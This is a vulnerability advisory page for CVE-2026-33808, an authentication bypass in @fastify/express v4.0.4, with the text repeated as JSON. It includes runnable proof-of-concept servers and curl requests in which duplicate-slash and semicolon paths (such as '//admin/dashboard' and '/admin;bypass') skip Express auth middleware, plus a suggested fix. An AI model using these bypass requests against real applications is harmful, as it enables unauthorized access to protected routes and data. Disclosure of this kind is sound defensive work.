GHSA-6HW5-45GM-FJ88

Vulnerability from github – Published: 2026-04-16 01:03 – Updated: 2026-06-09 10:47
VLAI
Summary
@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)
Details

Summary

@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:

  1. Duplicate slashes (//admin/dashboard) when ignoreDuplicateSlashes: true is configured
  2. Semicolon delimiters (/admin;bypass) when useSemicolonDelimiter: true is configured

In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.

Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.

Details

The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):

const decodedUrl = decodeURI(url)
req.raw.url = decodedUrl

The decodeURI() function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.

Vector 1: Duplicate Slashes

When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.

The attack sequence: 1. Client sends GET //admin/dashboard 2. Fastify's router normalizes this to /admin/dashboard and finds a matching route 3. enhanceRequest sets req.raw.url = "//admin/dashboard" (preserves double slash) 4. Express middleware app.use('/admin', authMiddleware) does not match //admin prefix 5. Authentication is bypassed, and the Fastify route handler executes

Vector 2: Semicolon Delimiters

When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.

Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.

The attack flow: 1. Request GET /admin;bypass arrives 2. Fastify router: splits at ; — matches route GET /admin 3. Express middleware: regex /^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped 4. Route handler executes without authentication checks

PoC

Duplicate Slash Bypass

Save as server.js and run with node server.js:

const fastify = require('fastify')

async function start() {
  const app = fastify({
    logger: false,
    ignoreDuplicateSlashes: true,  // documented Fastify option
  })

  await app.register(require('@fastify/express'))

  // Standard Express middleware auth pattern
  app.use('/admin', function expressAuthGate(req, res, next) {
    const auth = req.headers.authorization
    if (!auth || auth !== 'Bearer admin-secret-token') {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
      return
    }
    next()
  })

  // Protected route
  app.get('/admin/dashboard', async (request) => {
    return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
  })

  await app.listen({ port: 3000 })
  console.log('Listening on http://localhost:3000')
}
start()
# Normal access — blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}

# Double-slash bypass — Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

# Triple-slash also works
$ curl -s http://localhost:3000///admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.

Semicolon Bypass

const fastify = require('fastify')
const http = require('http')

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = ''
      res.on('data', (chunk) => data += chunk)
      res.on('end', () => resolve({ status: res.statusCode, body: data }))
    }).on('error', reject)
  })
}

async function test() {
  const app = fastify({ 
    logger: false, 
    routerOptions: { useSemicolonDelimiter: true }
  })
  await app.register(require('@fastify/express'))

  // Auth middleware blocking unauthenticated access
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden' }))
      return
    }
    next()
  })

  app.get('/admin', async () => ({ secret: 'classified-info' }))

  await app.listen({ port: 19900, host: '0.0.0.0' })

  // Blocked:
  let r = await get(19900, '/admin')
  console.log('/admin:', r.status, r.body)
  // Output: /admin: 403 {"error":"Forbidden"}

  // BYPASS:
  r = await get(19900, '/admin;bypass')
  console.log('/admin;bypass:', r.status, r.body)
  // Output: /admin;bypass: 200 {"secret":"classified-info"}

  r = await get(19900, '/admin;')
  console.log('/admin;:', r.status, r.body)
  // Output: /admin;: 200 {"secret":"classified-info"}

  await app.close()
}
test()

Actual output:

/admin: 403 {"error":"Forbidden"}
/admin;bypass: 200 {"secret":"classified-info"}
/admin;: 200 {"secret":"classified-info"}

The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.

Impact

Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.

Duplicate slash vector affects applications that: 1. Use @fastify/express with ignoreDuplicateSlashes: true 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

Semicolon vector affects applications that: 1. Use @fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters) 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.

The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.

Affected Versions

  • @fastify/express v4.0.4 (latest) with Fastify 5.x
  • Requires ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)

Variant Testing

Duplicate slashes:

Request Express Middleware Handler Runs Result
GET /admin/dashboard Invoked (blocks) No 403 Forbidden
GET //admin/dashboard Skipped Yes 200 OK — BYPASS
GET ///admin/dashboard Skipped Yes 200 OK — BYPASS
GET /.//admin/dashboard Skipped Yes 200 OK — BYPASS
GET //admin//dashboard Skipped Yes 200 OK — BYPASS
GET /admin//dashboard Invoked (blocks) No 403 Forbidden

Semicolons:

URL Express MW Fires Route Matches Result
/admin Yes Yes (200/403) Normal
/admin; No Yes (200) BYPASS
/admin;bypass No Yes (200) BYPASS
/admin;x=1 No Yes (200) BYPASS
/admin;/dashboard No Yes (200, routes to /admin) BYPASS
/admin/dashboard;x Yes Yes (routes to /admin/dashboard) Normal (prefix /admin/ still matches)

The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.

Suggested Fix

@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically: - When ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution - When useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express

This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T01:03:46Z",
    "nvd_published_at": "2026-04-15T10:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:\n\n1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured\n2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured\n\nIn both cases, Fastify\u0027s router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, which fails to match and is skipped.\n\nNote: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in `@fastify/middie` via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but `@fastify/express` does not include the equivalent fixes.\n\n### Details\n\nThe vulnerability exists in `@fastify/express`\u0027s `enhanceRequest` function (`index.js` lines 43-46):\n\n```javascript\nconst decodedUrl = decodeURI(url)\nreq.raw.url = decodedUrl\n```\n\nThe `decodeURI()` function only handles percent-encoding \u2014 it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify\u0027s router options are enabled, `find-my-way` applies these normalizations during route matching, but `@fastify/express` passes the original URL to Express middleware.\n\n#### Vector 1: Duplicate Slashes\n\nWhen `ignoreDuplicateSlashes: true` is set, Fastify\u0027s `find-my-way` router normalizes `//admin/dashboard` to `/admin/dashboard` for route matching. However, Express middleware receives `//admin/dashboard`. Express\u0027s `app.use(\u0027/admin\u0027, authMiddleware)` expects paths to start with `/admin/`, but `//admin` does not match the `/admin` prefix pattern.\n\nThe attack sequence:\n1. Client sends `GET //admin/dashboard`\n2. Fastify\u0027s router normalizes this to `/admin/dashboard` and finds a matching route\n3. `enhanceRequest` sets `req.raw.url = \"//admin/dashboard\"` (preserves double slash)\n4. Express middleware `app.use(\u0027/admin\u0027, authMiddleware)` does not match `//admin` prefix\n5. Authentication is bypassed, and the Fastify route handler executes\n\n#### Vector 2: Semicolon Delimiters\n\nWhen `useSemicolonDelimiter: true` is configured, the router uses `find-my-way`\u0027s `safeDecodeURI()` which treats semicolons as query string delimiters, splitting `/admin;bypass` into path `/admin` and querystring `bypass` for route matching. However, `@fastify/express` passes the full URL `/admin;bypass` to Express middleware.\n\nExpress uses path-to-regexp v0.1.12 internally, which compiles middleware paths like `/admin` to the regex `/^\\/admin\\/?(?=\\/|$)/i`. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.\n\nThe attack flow:\n1. Request `GET /admin;bypass` arrives\n2. Fastify router: splits at `;` \u2014 matches route `GET /admin`\n3. Express middleware: regex `/^\\/admin\\/?(?=\\/|$)/i` fails against `/admin;bypass` \u2014 middleware skipped\n4. Route handler executes without authentication checks\n\n### PoC\n\n#### Duplicate Slash Bypass\n\nSave as `server.js` and run with `node server.js`:\n\n```js\nconst fastify = require(\u0027fastify\u0027)\n\nasync function start() {\n  const app = fastify({\n    logger: false,\n    ignoreDuplicateSlashes: true,  // documented Fastify option\n  })\n\n  await app.register(require(\u0027@fastify/express\u0027))\n\n  // Standard Express middleware auth pattern\n  app.use(\u0027/admin\u0027, function expressAuthGate(req, res, next) {\n    const auth = req.headers.authorization\n    if (!auth || auth !== \u0027Bearer admin-secret-token\u0027) {\n      res.statusCode = 403\n      res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027)\n      res.end(JSON.stringify({ error: \u0027Forbidden by Express middleware\u0027 }))\n      return\n    }\n    next()\n  })\n\n  // Protected route\n  app.get(\u0027/admin/dashboard\u0027, async (request) =\u003e {\n    return { message: \u0027Admin dashboard\u0027, secret: \u0027sensitive-admin-data\u0027 }\n  })\n\n  await app.listen({ port: 3000 })\n  console.log(\u0027Listening on http://localhost:3000\u0027)\n}\nstart()\n```\n\n```bash\n# Normal access \u2014 blocked by Express middleware\n$ curl -s http://localhost:3000/admin/dashboard\n{\"error\":\"Forbidden by Express middleware\"}\n\n# Double-slash bypass \u2014 Express middleware skipped, handler runs\n$ curl -s http://localhost:3000//admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n\n# Triple-slash also works\n$ curl -s http://localhost:3000///admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n```\n\nMultiple variants work: `///admin`, `/.//admin`, `//admin//dashboard`, etc.\n\n#### Semicolon Bypass\n\n```javascript\nconst fastify = require(\u0027fastify\u0027)\nconst http = require(\u0027http\u0027)\n\nfunction get(port, url) {\n  return new Promise((resolve, reject) =\u003e {\n    http.get(\u0027http://localhost:\u0027 + port + url, (res) =\u003e {\n      let data = \u0027\u0027\n      res.on(\u0027data\u0027, (chunk) =\u003e data += chunk)\n      res.on(\u0027end\u0027, () =\u003e resolve({ status: res.statusCode, body: data }))\n    }).on(\u0027error\u0027, reject)\n  })\n}\n\nasync function test() {\n  const app = fastify({ \n    logger: false, \n    routerOptions: { useSemicolonDelimiter: true }\n  })\n  await app.register(require(\u0027@fastify/express\u0027))\n  \n  // Auth middleware blocking unauthenticated access\n  app.use(\u0027/admin\u0027, function(req, res, next) {\n    if (!req.headers.authorization) {\n      res.statusCode = 403\n      res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027)\n      res.end(JSON.stringify({ error: \u0027Forbidden\u0027 }))\n      return\n    }\n    next()\n  })\n  \n  app.get(\u0027/admin\u0027, async () =\u003e ({ secret: \u0027classified-info\u0027 }))\n  \n  await app.listen({ port: 19900, host: \u00270.0.0.0\u0027 })\n  \n  // Blocked:\n  let r = await get(19900, \u0027/admin\u0027)\n  console.log(\u0027/admin:\u0027, r.status, r.body)\n  // Output: /admin: 403 {\"error\":\"Forbidden\"}\n  \n  // BYPASS:\n  r = await get(19900, \u0027/admin;bypass\u0027)\n  console.log(\u0027/admin;bypass:\u0027, r.status, r.body)\n  // Output: /admin;bypass: 200 {\"secret\":\"classified-info\"}\n  \n  r = await get(19900, \u0027/admin;\u0027)\n  console.log(\u0027/admin;:\u0027, r.status, r.body)\n  // Output: /admin;: 200 {\"secret\":\"classified-info\"}\n  \n  await app.close()\n}\ntest()\n```\n\nActual output:\n```\n/admin: 403 {\"error\":\"Forbidden\"}\n/admin;bypass: 200 {\"secret\":\"classified-info\"}\n/admin;: 200 {\"secret\":\"classified-info\"}\n```\n\nThe semicolon bypass works with any text after it: `/admin;`, `/admin;x`, `/admin;jsessionid=123`.\n\n### Impact\n\nComplete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.\n\n**Duplicate slash vector** affects applications that:\n1. Use `@fastify/express` with `ignoreDuplicateSlashes: true`\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use(\u0027/admin\u0027, authMiddleware)`\n\n**Semicolon vector** affects applications that:\n1. Use `@fastify/express` with `useSemicolonDelimiter: true` (commonly enabled for Java application server compatibility, e.g., handling `;jsessionid=` parameters)\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use(\u0027/admin\u0027, authMiddleware)`\n\nThe bypass works against all Express middleware that uses prefix path matching, including popular packages like `express-basic-auth`, custom authentication middleware, and rate limiting middleware.\n\nThe `ignoreDuplicateSlashes` and `useSemicolonDelimiter` options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.\n\n### Affected Versions\n\n- `@fastify/express` v4.0.4 (latest) with Fastify 5.x\n- Requires `ignoreDuplicateSlashes: true` or `useSemicolonDelimiter: true` in Fastify configuration (via top-level option or `routerOptions`)\n\n### Variant Testing\n\n**Duplicate slashes:**\n\n| Request | Express Middleware | Handler Runs | Result |\n|---------|-------------------|--------------|--------|\n| `GET /admin/dashboard` | Invoked (blocks) | No | 403 Forbidden |\n| `GET //admin/dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET ///admin/dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET /.//admin/dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET //admin//dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET /admin//dashboard` | Invoked (blocks) | No | 403 Forbidden |\n\n**Semicolons:**\n\n| URL | Express MW Fires | Route Matches | Result |\n|---|---|---|---|\n| `/admin` | Yes | Yes (200/403) | Normal |\n| `/admin;` | No | Yes (200) | **BYPASS** |\n| `/admin;bypass` | No | Yes (200) | **BYPASS** |\n| `/admin;x=1` | No | Yes (200) | **BYPASS** |\n| `/admin;/dashboard` | No | Yes (200, routes to /admin) | **BYPASS** |\n| `/admin/dashboard;x` | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |\n\nThe semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., `/admin/dashboard;x`), Express\u0027s prefix regex succeeds because the `/admin/` part matches before the semicolon appears.\n\n### Suggested Fix\n\n`@fastify/express` should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:\n- When `ignoreDuplicateSlashes` is enabled, apply `FindMyWay.removeDuplicateSlashes()` to `req.raw.url` before middleware execution\n- When `useSemicolonDelimiter` is enabled, strip semicolon-delimited parameters from the URL before passing to Express\n\nThis would match the normalization behavior that `@fastify/middie` already implements via `sanitizeUrlPath()` and `normalizePathForMatching()`.",
  "id": "GHSA-6hw5-45gm-fj88",
  "modified": "2026-06-09T10:47:41Z",
  "published": "2026-04-16T01:03:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-express/security/advisories/GHSA-6hw5-45gm-fj88"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33808"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-express"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…